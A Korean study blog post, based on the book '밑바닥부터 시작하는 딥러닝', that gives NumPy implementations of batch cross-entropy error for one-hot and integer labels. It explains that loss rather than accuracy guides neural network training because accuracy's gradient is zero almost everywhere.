
def cross_entropy_error(y,t):
    if y.ndim == 1:
        t = t.reshape(1, t.size)
        y = y.reshape(1, y.size)
        
    batch_size = y.shape[0]
    return -np.sum(t*np.log(y + 1e-7)) / batch_size

 

(y는 신경망의 출력, t는 정답 레이블)

y가 1차원이라면,  즉 데이터 하나당 교차 엔트로피 오차를 구하는 경우는 reshape 함수로 데이터의 형상을 바꾼다.

그리고 배치의 크기로 나눠 정규화하고 이미지 1장당 평균의 교차 엔트로피 오차를 계산한다.

 

정답 레이블이 원-핫 인코딩이 아니라 '2'나 '6' 등의 숫자 레이블로 주어졌을 때의 교차 엔트로피 오차는 다음과 같이 구현한다.

def cross_entropy_error(y,t):
    if y.ndim == 1:
        t = t.reshape(1, t.size)
        y = y.reshape(1, y.size)
        
    batch_size = y.shape[0]
    return -np.sum(np.log(y[np.arange(batch_size),t] + 1e-7)) / batch_size

 

 

왜 손실 함수를 설정할까?

이 의문은 신경망 학습에서의 '미분'의 역할에 주목하면 해결된다. 

신경망 학습에서는 최적의 매개변수(가중치와 편향)를 탐색할 때 손실 함수의 값을 가능한 한 작게 하는 매개변수 값을 찾는다.

이때 매개변수의 미분(기울기)을 계산하고, 그 미분 값을 단서로 매개변수의 값을 서서히 갱신하는 과정을 반복한다. 

미분 값이 양수나 음수면 매개변수를 변화시켜 손실 함수의 값을 줄일 수 있다.

그러나 미분 값이 0이면, 가중치 매개변수를 어느 쪽으로 움직여도 손실 함수의 값은 줄어들지 않는다.

그래서 가중치 매개변수의 갱신은 거기서 멈춘다.

 

정확도를 지표로 삼아서는 안되는 이유는 미분 값이 대부분의 장소에서 0이 되어 매개변수를 갱신할 수 없기 때문이다.

 

한 신경망이 100장 중 42장을 올바로 인식한다고 하면 정확도는 42%다. 매개변수를 약간만 조정해서는 정확도가 개선되지 않고 일정하게 유지된다. 그러나, 손실 함수를 지표로 삼을 때는 매개변수 값이 조금 변하면 그에 반응하여 손실 함수의 값도 연속적으로 변화한다. 

 

 

위 글은 「밑바닥부터 시작하는 딥러닝」을 참고하여 작성한 글입니다.

'Study > Deep Learning' 카테고리의 다른 글

머신러닝 Data 종류  (0) 2021.10.14
머신러닝 기본 프로세스  (0) 2021.10.14
딥러닝의 응용분야  (0) 2021.10.13
머신러닝/딥러닝 기초  (0) 2021.10.13
수치 미분  (0) 2020.11.06

+ Recent posts